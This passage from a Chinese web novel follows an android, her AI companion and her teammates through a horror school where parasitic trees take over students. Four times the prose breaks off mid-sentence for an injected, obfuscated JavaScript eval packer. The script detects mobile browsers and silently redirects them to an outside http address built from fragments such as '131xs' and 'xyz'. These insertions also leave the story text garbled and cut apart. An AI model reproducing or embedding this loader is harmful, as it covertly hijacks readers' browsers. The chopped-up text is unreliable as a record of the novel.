骊执面无表情地又翻了一页书,眼神并没有聚焦。 “……” 眼见骊执连一个眼色都没分给她,高跟鞋老师恨得几乎要咬碎牙齿。 回想起那个学生板着一张脸,将她两个“员工”的空间毫不犹豫毁掉的淡漠样子,几乎让她保持不住的表情。 那可是她费尽心思、甚至献出了自己的血液才培育出来的二号三号员工! 想到这里,她看向了站在自己身边,虽然在第一个空间里虽然受了伤、却依然站得挺拔的一号。 只剩下这一个独苗了。 都是因为那个学生! 她的眼里再度闪过某种深绿色的数据流,那里盛满了某种扭曲的、复杂的、报复一般的快意。 现在这个年龄的学生最重面子,她就是想让骊执承认,是因为自己的不守规则、不服管教让自己落了这么个被贴纸条的下场。 终于,在女老师满是杀气的目光里,骊执开口了。 她像是刚刚想完了什么大事,终于有时间来分出线程,思考眼前人的问题。 “是这样的。” 她故作肯定状。 ——只是那毫不犹豫的认可速度,让她对这件事的态度显得更无所谓了。 安夏毫不怀疑,就算高跟鞋老师说的是“是不是因为你被班主任当成了反面教材”,骊执也会点点头说“老师说的没错的。” 她有些紧张地盯着那双数据流快速流淌、几近迸裂的眼睛,如此评价道。 “承蒙班主任抬爱,我很荣幸能成为大家的榜样,期待共同进步,谢谢。” 骊执面无表情、毫无情感地回复道。 女老师:“……” 队友们:“……” 直播间:“……” 【 “……我还以为你要给我憋个大的” “哈哈哈哈哈哈哈女老师:我从未见过如此厚颜无耻之人!” “女老师:我阴阳你是为了让你夸自己的吗?” “骊执:叽里咕噜说啥呢,哦原来夸我呢,好的我知道自己做的确实优秀,感谢联邦感谢人民感谢贴条的班主任” 】 被评价为“特别关注”的“好”学生,此刻就像一个设置好自动回复后,无论说什么都只答“是的”的人工智能。 ——事实也确实如此。 骊执已经彻底适应了现在仿生人的身体,成为了一台合格的、可以高速运转的智能机器,通过用不同线程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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眼前的树头人,是现实世界这个空间里,被老师认可的‘标兵’。 她看向树头人娴熟地、和女老师配合默契的样子,几乎可以断定两个人要给自己下套了。 能被老师看重,除了它自身“实力”过硬外,有没有一种可能性,实力强的原因,是因为它是陪伴老师最久的树头人呢? 老师毕竟是教书育人的存在。 前两个空间里的怪物难度如此有差异,会不会是因为培养时间不同呢? “创造者,他写的‘要求背的内容’,是满仓园树木适宜的生长‘土壤’。” “很诡异……这里的土壤,指的是人的大脑。” 骊执对此并不意外,毕竟很可能树头人自己,就是用脑子培养的脖子上那棵大树。 “啊……我们这位标兵同学写的是满仓树生长的土壤!” 教室这边,老师眉开眼笑的夸赞道,连刚刚聚集起的眉宇间的郁色都散尽了。 她举起手“啪啪”拍了两下,状似无意地转向骊执。 “那这位同学……就由你来写满仓树生长的进程吧。” 32. 满仓园生长季十四 “咚咚——” 树头人的笔触机械而有力,在寂静的教室里发出有节奏的敲击声。 但当直播间的镜头对准它所写的内容后,弹幕开始被瞬间疯狂刷新出来,如同一石激起千层浪。 深绿色的黑板上,粉笔的白色笔触看得真切。 “黑夜种下往生花,满仓树它要发芽。” “不需要阳光,不需要泥土,你把大脑献给我吧。” “钻进你的耳目,喝干你的鲜血,我要快快去长大。” “……” 此时此刻,光年之外的地球上,窝在自己小房间里的李梅亭死死抱紧了抱枕,冰凉的手指陷进它的布料里。 寒意如同游蛇,晃悠着、迅速地爬上她的脊背,她手指发抖着打开评论区,试图给自己壮胆。 【 “啊啊啊啊啊救命啊这写得什么玩意啊san值要掉没了!” “起猛了……一棵流血的树居然变异出来人的身体了,还能写字……” “前面的有没有可能不是树变人,而是人变树……” “啊啊啊啊啊啊啊每写一个字我的寒毛就竖起一片啊啊啊啊!” 】 “抽出我的枝干,刺穿你的脑壳,行尸走肉才能把我养大” “丢掉你的个性,低下你的头颅” “好学生你要乖乖听话,双腿才能往上爬” “嗯?你怎么不写呢,这位同学?” 高跟鞋有节奏的嗒嗒声响起,骊执感受到有人不紧不慢地走近了她。 “这可不够积极。” “上课的时候,为什么不保持好积极状态呢?” 骊执并没有接话,属于她的视觉传感器,正精准接受着骊镜传输过来的、树头人那边的情况。 深绿色的黑板被人用粉笔用力地摩擦着,发出刺耳又尖锐的“咯吱”声,震得白色的粉笔屑噗噗下落。 骊执握紧手里的粉笔。 满仓园副本进行到现在,一共出现了四种规则表示方式。 楼梯间的学生守则是相当精准的规则条例,写在上面的每个条款都必须遵从。 班主任给的字条是违反上面的学生守则后,给出对应的负面评价作文惩戒,真正的负面效果未知。 宋如雨桌子下面找到的字条,具备一定空间转换功能,看样子像是某个学生所留——且大概率是已经进入到异化状态的、精神不稳定的学生所写。 至于第四种。 骊执抬起手,在一众人或忧心、或好奇的目光里—— 写下了,“解:树木的生长过程为。” 然后,她放下粉笔,低头作扶额思考状。 “……”教室里传来一阵稍显无语的叹息声,不少人纷纷把屏住的那口气吐了出来。 第四种,就是树头人展示的那样,在黑板上写下和宋如雨字条类似、但视角完全相反的,来自满仓树自己的血腥语录。 满仓树。 骊执偏过头看向自己的金属树,它的材质让在灯光下比所有人的树木都亮,却掩盖不了它了无生机的真相。 这大概就是她的满仓树。 “创造者,老师所说的要背的内容,教材上没有明文,更像是一种知识框架的总结,再以文学手法表现出来。” “创造者,我在排列词组了,很快就好了。” 骊执松开不知何时被她攥到掌心的手指,仿生皮肤上闪过几个不明显的指痕。 属于树头人的古怪而血腥的童谣依然在被撰写,她注意到女老师的视线长久地在她的树上停留,眼神里划过一丝不易察觉的焦灼。 虽然每一条规则的载体都不同,视角也不一致,但它们的作用却是类似的,吸引BOSS注意,进入BOSS所在的空间,一步又一步将学生卷入和老师、和满仓树规则体系的冲突。 老师和学生,行刑者与囚徒。 学生与满仓树,被寄生者与寄生虫。 那……老师和满仓树呢?会是毫无芥蒂的合作方吗? 敌人的敌人,一定是朋友吗? 不知道是不是骊执的错觉,眼前的“标兵”同学写字的速度越来越慢了。 树头人抬起颤抖的、被粉笔染灰的手指每写出一个笔画都比上一次的动作更用力,摩擦制造出的噪音也更刺耳。 终于,它忍不住了,扭头看向骊执桌前的那棵树、被高跟鞋老师要求针对的树。 它已经将寄生条件写给了那棵黑色的树,等新的满仓树生长出来,属于它被老师压榨的宿命,是不是要结束了? 它想毕业,想出去找工作,它的家人还在满仓园外面等着它。 想到这里,树头人心口一酸,猛地呕出一口浓绿的汁液,从唇角一滴一滴地漏下去,有几滴溅在黑板上,悄无声息地被上面的粉笔字吸收了。 手中的粉笔紧贴着上一行写下下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451353|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个笔画,在不经意间触碰到了他的树汁。 手中的粉笔突然剧烈颤抖了起来,像是碰到了什么了不得的、让一个没有生命的粉笔都要发疯吼叫的东西。 树头人皱了皱眉头,“啪”地拍向粉笔。 “三师弟,只是我的血。” “别闹。” 三师弟在树头人手指间摩擦了一会,被树头人锋利的指甲划过一道道痕迹。 它确实安分了下来。 它也没力气再闹了。 三师弟在晃动的视野里看向这间熟悉的教室,他曾在这里上课,死死遵守着班主任的早读规范,战战兢兢地被高跟鞋老师挑上台。 日复一日,年复一日。 “恭喜合格。” 班主任黑洞洞的眼睛扫过他,如同一台标准的打卡机器,检测着它全身上下可能存在的所有缺点。 它忐忑不安地揪住衣角,视线下垂。 光亮的瓷砖映照出他背后的大书包,映照出书包前属于它的面孔。 ——那是一棵算不上有多漂亮,但让他万分熟悉的树。 “满仓树,你怎么跑到我头顶上去了。” 它想笑,想出声,想打趣这棵陪伴他许久的、由他鲜血浇灌出的满仓树。 满仓树试图勾起戏谑的唇角,但它忘记了,属于怪物的脸上,是做不出表情的。 树叶噗噗掉落下来。 三师弟跪在地上,眼泪却掉不下来。 现在,它终于合格了。 以他消失,换满仓树活下来的代价。 “跟我走吧。” 高跟鞋老师把它要走了。 它的任务是物色第一个污染度最高的人,然后引导他们进入自己的空间。 可是它太笨了,它还没能真正污染到那个同学,它就被逻辑矛盾攻破了自己的空间。 “导师,我没做好。” 它垂下头。 “可以放我走了吗?我可以不要学位的。” 它想明白了,与其这样兀兀穷年,不如学学它曾经的同学们,直接出去找个工作,也比一天赛一天的胆战心惊强。 它没有等来答复。 它的叶子被摘了下来,它的枝干被砍了下来。 它的身体不见了。 它的身体找到了。 它在一根灰白色的粉笔上睁开眼。 像是早就注定好了被磨损的一生。 33. 满仓园生长季十五 “创造者,都整理好了。” 几近过载的嗡鸣声响起,骊镜终于收集好满仓树的所有生长资料。 不知道怎么回事,他用微型传感器扫描桌面上的教科书时,机械臂有些接触不良般的卡顿。 隔壁黑板的粉笔敲击声愈发强烈,他顾不得处理自己的状态,预备向骊执传输信息。 “你看我们是模仿树头人的笔触写,还是直接写我整理的梗概。” 骊镜很快分出来两个版本,却没有等来骊执的回复。 “创造者,你——” 他突然顿住了,迟疑地对上仿生人导演的眼睛。 骊执正一动不动地盯着他所在的方向,半张脸被藏在阴影里,神色不明。 某种细微的、仿佛什么物种咯吱咯吱爬动起来的声音回荡在耳边,骊执暗暗握紧了粉笔。 黑板上的童谣已经走到了尾声,粉笔也只剩下短短的一截,下笔时发出更加尖利的、嘶吼般的痛苦摩擦声。 “勇敢迈出这一步吧,不用担心自己会摔倒。” “请把你的命交给我。” “我会代替你活,声嘶力竭地活。” “啪嗒。” 粉笔终于不堪重负地跌落在地,翻了几个难看的滚,落到骊执脚下。 骊执的视线也一点点跟着下转,蹲下身捡起粉笔,和自己的手中的那根一起,握在食指和大拇指之间。 【 “???要干嘛?” “导演这是要做什么?” “怎么还不写,不写就要违规啊,导演这是怎么了?” 】 黑色的摄像机一遍又一遍地校准镜头,仔细扫描过仿生人的状态。 他隐约知道有什么地方出了差错,但是他说不清楚。 “骊镜。” “你在吗?” 骊执没有看他,只轻声喊了他的名字。 “创造者,我在。” 花盆里窜出一个黑色的脑袋,终于等到呼唤的摄像机照常启动螺旋桨,预备降落到骊执身边。 “咚咚。” 花盆被他的躯干顶起,黑色的摄像机被绊得一个趔趄,摔倒在花盆里。 等红色的报错信号铺满屏幕,骊镜迟疑地、难以置信地转过镜头。 骊执似有所感,转过头望去。 只见金属花盘在骊镜的挣扎间骨碌碌地翻滚在桌面上,像某种荒谬的默剧。 “你是我的满仓树吗?”骊执问,声音被骊镜的传感器接收到时有些模糊,像是从很远的空间传过来。 黑色金属制作的藤蔓死死捆住了他的躯干,不是莬丝花般的柔弱软绵,是某种蛮横的、要狠狠把他拽下去的力道。 “我是你的……”他的声音断断续续,所有的运算资源都集中到和藤蔓的对抗中,像痛苦的困兽。 “是你的骊镜。创造者,我被花盆困住了——” 金属藤蔓刮过摄像机的机体,迸出激烈的火花。 骊执下意识想要抬手去扶,某种在树头人写下规则后逐渐明晰、冰冷的猜测让她硬生生止住了动作。 “它说,它会用我肺部的氧气继续生长,直到占据我的躯壳。” 这是纸条上,一名满仓园学生极度惊恐下的自述。 “满仓树我要发芽。” “把你的大脑献给我吧。” “我会代替你活,声嘶力竭活。” 这是黑板上,来自被满仓树寄生后的树头人,干脆利落的规则宣誓。 一个最容易被忽略的问题终于被提起。 骊执看向滚动着的花盆。 满仓树本来就是能和饲养它的人类交流的。 满仓树是有灵魂的。 满仓树存在的意义,就是在寄生主体的精神崩溃后在大脑里生根发芽,一步步把活人变成树头人。 手腕上的绿色痕迹终于爬进了接口,像是撕掉了某种模糊的塑料布,她能清晰地感受到属于那盆金属树的吐息,感受到挣扎在自己满仓树里的那个外来的灵魂。 像某种要演给她看的苦肉计。 所以,骊镜。 你是一直萦绕在我耳畔的声音,你是别人看不到的怪物。 怀疑或许早就生出种子,只是一直被她埋在某个名为同一战线的名义下,如今终于冒出头来。 你到底是我并肩作战的同行者,还是要一步步寄生我,试图用帮助麻痹我的满仓树? 不知什么时候起,教室的灯光频闪得越发剧烈了,间断地照出教室里一张又一张惨白的面孔。 “沙沙,沙沙。” 是某种有生命的枯枝落叶,轻轻划过地板的声音。 “啊!什么东西爬我脚上了!爬我脚上了!” “有鬼啊!救命啊!” 此起彼伏的惊恐声爆竹般炸起,骊执来不及思考更多,下意识地看向黑板。 啪嗒。啪嗒。 斑驳的深绿色黑板上,白色的粉笔字迹在流血。 是流绿色的、将字迹逐渐晕染得模糊不清的血。 滴答。 某个粉笔字上的汁液终于不堪重负,落在地上。 像是某一株笨拙又努力的满仓树的鲜血。 骊执越过站在黑板前两张一动不动的、呆滞的脸,仔细观察着上面的字迹。 粉笔停下后,女老师和树头人仿佛变成了雕塑,不再呼吸,不再回应。 “队长小心!” 耳边炸起一阵风,骊执猛地侧身躲过,就地一滚回到属于自己的黑板前。 晃动的视野里,她看到树头人的叶子不知什么时候起,突然多出来许多细小的枝条,正以某种肉眼可见的速度生长。 明明是新发的嫩芽,颜色却如同老枝般沉郁,带着厚厚的一层泥土,再次向她袭来。 “宋如雨!” 教室这边的安夏狼狈地躲过一波攻击,一边注意着骊执那边的状况,一边开枪打散了靠近宋如雨的枝条。 仅仅只是树头人写完规则的眨眼之间,教室里回荡起窸窸窣窣地爬动声,她刚开始四处寻找起声音来源,就被自己桌子上的、不知何时已经抽出枝条的满仓树迎面一击。 “把你的大脑献给我吧。” 尖利的、机械的嗓音在她的脑海里上演一出聒噪的话剧。 “钻进你的耳目,喝干你的鲜血,我要快快去长大。” “做你的春秋大梦去吧!” 安夏来不及再管什么上课规范了,性命关头,脉冲枪爆发出璀璨的激光,直直地射向满仓树。 叶子落了下来,根茎上露出一片烧灼后的焦黑。 “咔嚓——” 是窗玻璃碎裂的声音。 安夏猛地扭头,破裂的窗玻璃如同蛛网,将窗外的景象打得斑驳,但某些紧紧贴在窗玻璃上、偷窥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,镜子。” “我的思维模块告诉我,你有百分之五十一的概率是安全的。” 虽然这个自称是她的人工智能的家伙的确疑点重重,但正是他在拼命控制黑色金属树的异化,是他在一点点用行动将信任积沙成塔。 “虽然我习惯将九成把握视为一件事可信的标准,但很高兴,你在我这里,拥有比怀疑多百分之一的豁免权。” “咔嚓。” “咔嚓。” 是两把钥匙同时转动的开锁声。 两根粉笔绘出笔画,新世界即将接轨旧世界。 骊执拎起花盆,看着眼前属于树头人创造的世界一点点模糊、破碎。 她的确不知道,她所在的是现实,还是树头人撰写规则后创造的世界。 但粉笔笔迹渗出了绿色汁液。 骊执曾跑过去,赶在攻击来临前观察,那液体黏糊糊的,电光火石间,骊执认出了那是属于满仓树的树汁。 那就赶在攻击贯穿头颅前,利用两根粉笔背后的、两棵满仓树的空间力量。 被质疑又被笃信的人工智能,静静地陪在她的手边。 带着破碎又坚硬的信仰,去往他们的世界逃亡吧。 34. 满仓园生长季十六 “同学们,下课时间到了。” “老师,你们辛苦了。” 机械女音的播报声准时又平稳地响起,早读课终于结束。 满仓园中学高三四班的教室里,一阵书本合上、眼镜放下的声音集中响起。 没有人起身,甚至没有人打哈欠,高三同学紧紧抓住这紧张的休憩时间,教室里默契地趴下一排黑色脑袋。 等骊执再次有意识的时候,看到的就是这样一幅陌生景象。 一层不染的窗户外是格外鲜亮的绿树,教室里身形陌生的同学在绿色的课桌前趴下,有几个的嘴唇还一开一合,像是梦里还在重复着要记诵的知识点。 骊执正坐在讲台旁的位置上,一盆黑色的、雕塑性质的盆栽摆件紧紧靠在她的左手边。 她仔细观察着这盆根茎虬结的树苗,同时注意到,教室里别的同学桌前也有类似的摆件,不过都是绿色的,更像是活的树。 ……做梦了吗? 她不记得校规里让养植物来着。 视线下移,她看到了自己正在读的教科书。 “……” 果然还是学习学疯了吗,为什么她的课本是《满仓树养护大全》? 学还没上完就学种树?没想到就业压力已经这么严峻,预备失业压力要从高中生做起了吗,有点意思。 “啪嗒。” 袖口里掉出来两根粉笔,骊执看了眼,顺手揣进兜里。 什么高中生的新型梦境模版,给它赋21分,不能再多了。 她不想做梦的时候还要上课,谢谢。 “创造者。” “?” 耳边响起一个平静生硬的机械音,骊执却愣是从中听出来一点委屈的意味来。 “嗯,看来创造者又把我忘了。” 骊镜的内部时钟只划过了一毫秒,就判断出骊执现在的状态不对劲。 ……又? 骊执不动声色地开始搜寻声音的来处,从空荡荡的墙面到被砸出裂缝的地板,却一无所获。 这是打哪儿来的“新朋友”,怎么还暗戳戳说她始乱终弃呢? “创造者你好,我是骊镜,物质形态是你眼前的这盆满仓树。我是你在未来开发的一款通用型人工智能,我们目前所在的是一个游戏副本的空间,我们的任务是打通眼前的副本,现在要做的,是找出这个副本的逻辑漏洞,才能破出空间。” 吞了一堆倒豆子一般的讯息,骊执警惕地看向自己的花盆。 为了佐证自己说的都是真话,骊镜头一次庆幸自己是台摄像机,他将在这个副本里的录制的所有剧情打包好,发送到骊执的数据接收端,传输时的数据流震动在机体里,像某种紧张的心跳。 “嗯。” 骊执扶着脑袋,仿生人在数据分析层面的优势尽数显现,仅需几秒钟,属于她的金色数据流在眼眶里一闪而过。 “我了解了。” 一条植物根茎伸了过来,轻轻晃动着做出“点头”的动作—— 来源于终于被骊镜毁坏底层逻辑的满仓树,它的幼苗已经死亡,整棵树都换成了骊镜自己的芯子。 ——也可以说,他现在真的是骊执的“满仓树”了。 当初那个将底层数据流蛰伏、被规则刺激后才开始攻击的金属满仓树,直到最后也没想到,这个不起眼的人工智能能靠着两次骇入空间得到的讯息,不需要大量训练数据反推出它的代码构造,疯狗一般死死咬住它仅剩的逻辑漏洞。 ……它也不知道,对于把“和创造者的联络”,视作唯一存在价值的人工智能来说,动摇他在骊执心里的可信度,和格式化他也没什么两样,由此他才会冒着被反向侵入的风险,直接篡改它的条例。 “创造者,现在要我做什么吗?” 骊执抬眼看向这个刚刚还在“指控”她,暗示她是个“不负责任”的创造者的家伙,故作深沉地叹了口气。 “不用了,安心等着剧情推进吧。” “学生的任务是要好好学习,我要学习一下怎么不会再失忆,不会再把你忘掉。” 骊镜因为这活跃气氛的两句话怔愣了一下。 他清楚骊执的生长环境格外险恶,也知道她对同伴有超乎寻常的珍视。 但真的听到她这么保证,某种泛着酸楚的滞涩感还是让他的数据流紊乱了一瞬。 “创造者,要上课了。” 距离上课还有三分钟的铃声响起,骊执没有说话,大步跑回教室。 她没有在教室找到安夏等人的身影,一边利用数据流试图联络,一边搜查整个教学楼,而嗡鸣着飞回来的骊镜传来了消息,由他负责的上面几层教室同样锁着门,没有找到他们的人。 骊执赶在老师进来前低头坐好,拎起一只笔开始假装进入学习状态。 是了,她当初为了破出被大批满仓树攻击的困境,是将两根粉笔、两棵具备转换空间功能的满仓树一同书写在了黑板上。 多出来的粉笔成为不稳定性空间能量的来源,再结合队友消失的状况,她引申出两个可能性—— 一是有概率空间分裂出来两个,而她恰好倒霉催地和队友们分开,落在这个空间里;二是空间能量溢出,有概率在三维世界的基础上生长出一个维度,思维空间的小队成员同属于同一世界的不同时间线,永远无法相见。 还有一点。 骊执不动声色地攥紧了拳头。 失忆是本场副本的负面附加效果,已知她是缺失高中后的记忆,安夏是忘记一部分辨别方向的能力,剩下两个新队友状态未知。 对于自己刚刚再度经历了失忆状态,骊执倾向于,这是因为眼前的世界时间线为副本开启前,导致她的记忆状态再度重置。 如果队友们和她一样,落入先前的时间线,丧失记忆的后果让风险性攀高了不止一个数量级。 ……没想到她们没被无穷无尽的藤蔓拖死,现在落入无法互联的境地,麻烦更大了。 当务之急,是尽快找到逻辑矛盾,尽快从这个世界破出。 唯有空间碎掉后,她才有能力找回她的同伴。 毕竟。 骊执愣了一下,她的思维模块给出了很多理由,比如保全队友有助于稳固团队实力,有助于观察不同失忆状态带来的影响。 开门声响起,骊执不动声色地把口袋里的粉笔掏出,往身上藏了藏。 毕竟,她可是大家的“锚点骑士”。 风浪再大,锚点都要为船队守住回家的坐标。 在最细枝末节的数据流分支里,逻辑链条偷偷加上了这条最“不合逻辑”的理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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新的纸条出现的刹那,耳边突然炸起机械女音的播报,突兀地、毫无道理地宣布早读课结束了。 骊执再次睁开眼。 她不知道自己是什么时候失去意识的,刚刚发生的那一幕清晰地回旋在她的数据流里,她甚至来不及做出任何反应,就再次落入黑暗的泥沼。 “都还愣着干嘛!不要以为你们离迷宫考试很远了,都站起来操练起来赶紧背!” 一样的训斥,一样的脚步声,一样的抬起眼睛,一样错乱着的、翻滚着色块的学生的脸。 但不知道是不是骊执的错觉,这次醒来,绿色的色块比上一次显著增多了。 “创造者,纸条没有消失!” 耳边传来骊镜的提醒,紧接着是再次的厉声质问:“你的搭档呢?” 高跟鞋女老师转过身来朝向骊执,毫不客气地将手从口袋里掏出,不耐烦地把地跺得直响。 “你!‘不够合群’!” 来自混乱空间的第二张纸条,稳稳落在了花盆上。 35. 满仓园生长季十七 像把车头和车尾衔接起来的诡异列车,将旅客载往纠缠住时间的循环空间求索。 时空错乱、叠加、往复,大脑像是自行跳跃到了更高维度,让骊执被迫接收到难以解读的超量信息。 要被…… 污染了。 身体先于意念做出行动,骊执在下一秒就抄起花盆夺门而出。 冰冷的手已经快要触碰到门框,浸透寒意的空气里,门把手处的那块木料诡异地颤了一颤,“嗖”地凹了下去。 “?” 像某种有生命的、黏腻且极具韧性的活物,赶在被触摸前意识到了不对劲,灵巧地将自己缩回去。 “——” 骊执毫不犹豫,冲着那块木料就是一拳。 仿生人近乎凶悍的肢体强度在此刻发挥了作用,骊执隐约听到一声轻微的“咔嚓”,黏糊糊的汁液“啪嗒”淌在她的手臂上,随着她的动作滴落。 落入她掌心的木料正蛄蛹着挣扎,液体咕噜噜地越滴越多,像在地板上写字。 “嗡嗡。” 像是被什么东西敲晕了脑袋,视野再次被黑暗剥夺。 “这道题的答案……你来算算!” 骊执再一次睁开眼,她正站在一块不断频闪的白板前,摆在她面前的是一道语序混乱、图片模糊不清的题目。 视野的边缘处,站着神色不明的高跟鞋老师,她正盯着骊执前面的大屏幕。 “窸窸窣窣,窸窸窣窣。” 还来不及做出反应,熟悉的、让骊执的心骤然跌入谷底的声音响起。 ——那是满仓树叶苏醒,活动起来摩擦的声音。 “黑夜种下往生花,满仓树它要发芽。” 原本寂静如坟地的教室里,响起整齐划一、毫无生气的朗诵声。 “吃掉你的大脑,砍掉你的双腿。” “请为祂的降生,付出一切代价。” 骊执猛地转身。 熟悉的教室里,原本低头睡觉的学生一个接一个站起,像暴雨后生长起来的绿色毒蘑菇,脖颈上的树枝正随着动作摇晃。 他们直愣愣地捧起课本,腰杆绷得挺直,脖颈与树根相接处渗出滑腻腻的液体,像某种新鲜长出的器官,顶开原来的外皮后,与原来的皮肤相接处渗出伤口愈合的溶液。 树洞成为了新的发声器官,“嗬嗬”着一张一合,露出黑洞洞的、树的经脉深处。 原本摆放在桌角的树苗不见了,只剩下空落落的花盆,像被雏鸟丢弃的空壳。 是满仓树长起来了。 是铺满整个教室的满仓树,在这个新的空间感染了自己的主人,重新抽出了枝条。 “黑夜种下往生花,满仓树它要发芽。” 荒谬又吊诡的童谣再度机械地响起,在教室里回返往复,充盈在骊执的耳畔。 黑夜。 “啪嗒”,有一个学生撞到了自己的花盆。 往生花。 骊执一边提防着教室的异动,一边摸出了自己的粉笔。 她咀嚼着这两个词语,一些之前没有注意到的细节,买对新鲜出炉的新线索,如同划开鱼肚子找到了布条,在此刻尽数显现出来。 “黑夜种下往生花”,从含义上看,代表黑夜可以一次又一次带来时间线上的重复。 如果黑夜是触发时空变换的源头,那什么代表黑夜呢? 已经彻底异化成满仓树的学生慢慢停止了诵读。 他们放下课本,沉默地看向她,看向这个教室里,满仓树的唯一“异类”。 骊执心头警铃大作,她闪身躲过一根骤然出招的藤蔓,翻身来到一块黑板前。 ——黑夜是睡觉。 是下课铃响后,一排排趴在桌子上的高中生,在睡觉。 沉寂的、疲倦的学生在无知无觉的情况下被种子寄生,在日复一日、机械又单调的上学生涯里一点点被蚕食了大脑、吞噬了灵魂。 吸干他们大脑的满仓树取代了自己的主人,取代了只剩个空壳的行尸走肉,“砍掉剩下的双腿”,用来去给“祂”献祭。 “你不会写吗?” 藤蔓抽动地面的风声一阵又一阵响起,女老师的新要求传了过来。 “那你找个人替你写吧。” 骊执根本不搭理这个又一次提出古怪要求的老师,甚至没再看题目一眼。 那现在呢? 现在的她已经在上课了,第三次的往生花,为什么没把她送到早读前,反倒把她送到了上课的时间线? “滴答。” 思维火花骤然亮起,某种液体滑过木块、滴落到地面的声音,隔着虚空回荡在脑海里。 骊执攥紧了粉笔。 ——是那块躲避她的触碰、仿佛有生命的木头。 她当初只是能明显感知到那东西有什么地方不对劲,打算带走好好观察。 现在换个角度来思考,如果粉笔可能是某一棵满仓树的化身,帮助她打开新空间,那谁说立在教室里的门框,没可能是另一种满仓树的形态呢? 木块接受不了被她逮捕的下场,这块干巴巴的木头榨取了自己最后一点树汁,开起来了新的空间。 或者说。 骊执看向一模一样的教室,只是换了个头的“同学”。 或者说,来到了新的时间线。 骊执摸了摸口袋,那里没有她敲下来的木块,只是两根磨损了的粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472118|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笔,一张揉皱了的纸条。 空间转换的实现是基于满仓树以及满仓树的另一种表现形态,如粉笔、木块、甚至纸条,转换到的空间是满仓树所能掌控的世界。 经过前几次实践,破出空间的方法是找出空间存在的逻辑矛盾,再用数据流骇入破开的裂缝瓦解空间。 可在这个由两根粉笔开辟的新世界,又由木块再次缝补的新时间线,甚至没有一个明确的BOSS,来诱导她违反规则实现自己的目的。 ——除了贴条贴到厌倦,现在也没能攻击她一下的女老师。 满仓树攻击人都没有被判定为逻辑错误,到底什么才是这个诡异世界里,不符合逻辑的呢? “你违反规范了。” 女老师不知道什么时候已经走了过来,再次机械地贴了一张纸条。 骊执看得清楚,那上面写着板板正正的两个大字—— “孤独。” 骊执没有说话。 一个问题此刻涌了上来,一下一下地敲在心口。 宣判违反规则的纸条到底起了什么作用呢? 变成满仓树的学生,他们的血液、或者血液的另一种表现形式——树汁,粉笔,会成为空间转换的必要条件,会激发满仓树幼苗的活性让他们快速生长。 而回忆起她的队友,两个进入空间的人,都像是被某种存在加速感染,拥有了能和她意念交流的能力,也就是硅基化、机械化。 骊执转了转粉笔。 活生生的人是怎么转化成满仓树的呢? 满仓树抽出枝条入侵主人吗?这个的确是个看似是正确的条件。 可如果没有合适的土壤,满仓树怎么能够吸收营养,快快长大呢? 是机械化改造。 是落入异世界空间后,悄无声息地渗透着的机械化程度。 骊执一直在思考,两位老师,以及给高跟鞋老师干活的满仓树,为什么这么热衷于用规则评判学生。 ——这里是满仓园,是培育满仓树的产业园区。 那身为园区的员工,自然要分出合格与不合格的产品。 纸条越多,就证明满仓树越不合格,投入的资源也会越少。 没有纸条,就会成为被着重培养的机械化对象。 ——这也很可能是为什么安夏的机械化进度比剩下的所有人都高,遇到的空间难度也更大的原因,她的树是最完美的树,因此需要经历更高的考验。 至于不合格的满仓树能用来做什么? 骊执一脚踹倒直直攻向她花盆的藤蔓。 新树苗的养料。 园区的任何耗材。 比如粉笔。 比如门框。